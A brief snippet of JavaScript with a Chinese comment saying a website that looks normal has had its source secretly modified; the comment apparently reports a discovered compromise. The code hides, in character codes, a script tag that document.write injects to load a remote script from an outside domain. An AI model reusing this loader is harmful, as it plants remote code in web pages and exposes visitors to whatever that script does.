var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,101,102,104,102,117,104,49,46,99,111,109,47,51,54,53,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); 

打开网站看似正常，仔细看源码实际是被修改